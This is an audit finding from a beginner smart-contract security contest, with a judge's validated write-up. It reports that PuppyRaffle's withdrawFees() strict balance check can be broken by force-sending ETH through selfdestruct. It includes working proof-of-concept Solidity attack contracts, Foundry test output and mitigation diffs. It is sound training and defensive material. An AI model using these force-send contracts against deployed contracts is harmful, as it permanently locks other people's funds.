Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Strict Equality Check in withdrawFees() Causes Permanent Fund Lockup

vikramgoutham289

Root + Impact

Root Cause: withdrawFees() uses strict equality (==) to compare contract balance with totalFees, which can be broken by force-sending ETH to the contract via selfdestruct.

Impact: Attacker can permanently lock all accumulated fees by sending 1 wei to the contract, making the equality check always fail.

Description

Normal Behavior: The owner should be able to withdraw accumulated fees when no active raffle is in progress.

Issue: The withdrawFees() function uses a strict equality check (==) to verify no players are active. If anyone sends ETH directly to the contract (via selfdestruct or other means), the balance will never equal totalFees, permanently locking the fees.
function withdrawFees() external {
// @> Strict equality can be broken by force-sending ETH
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Risk

Likelihood:HIGH

  • Reason 1 : Any malicious actor can exploit this by sending 1 wei to the contract

  • Reason 2 : selfdestruct from another contract can force ETH into any address

Impact:

  • Impact 1:All accumulated fees become permanently locked

  • Impact 2: Owner can never withdraw any fees

Proof of Concept

In Ethereum, there are ways to force ETH into a contract that bypass any receive() or fallback() function:

selfdestruct: When a contract self-destructs, it sends its balance to a specified address, and the recipient cannot refuse
​
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
​
// Attacker contract that force-sends ETH via selfdestruct
contract ForceSendETH {
constructor(address payable _target) payable {
// selfdestruct sends all ETH to target, bypassing any checks
selfdestruct(_target);
}
}
​
contract WithdrawFeesExploitTest {
PuppyRaffle public puppyRaffle;
​
function exploit() external payable {
// Force-send just 1 wei to break the contract
new ForceSendETH{value: 1 wei}(payable(address(puppyRaffle)));
// Now withdrawFees() will always revert because:
// address(puppyRaffle).balance = totalFees + 1 wei
// address(puppyRaffle).balance != totalFees
}
}

Recommended Mitigation

Instead of checking exact equality (which can be manipulated), check that the balance is at least equal to the fees to withdraw. Also, track player deposits separately to properly determine if a raffle is active.

function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+ require(players.length == 0, "PuppyRaffle: There are currently players active!");
+ require(address(this).balance >= uint256(totalFees), "PuppyRaffle: Insufficient balance");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 6 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!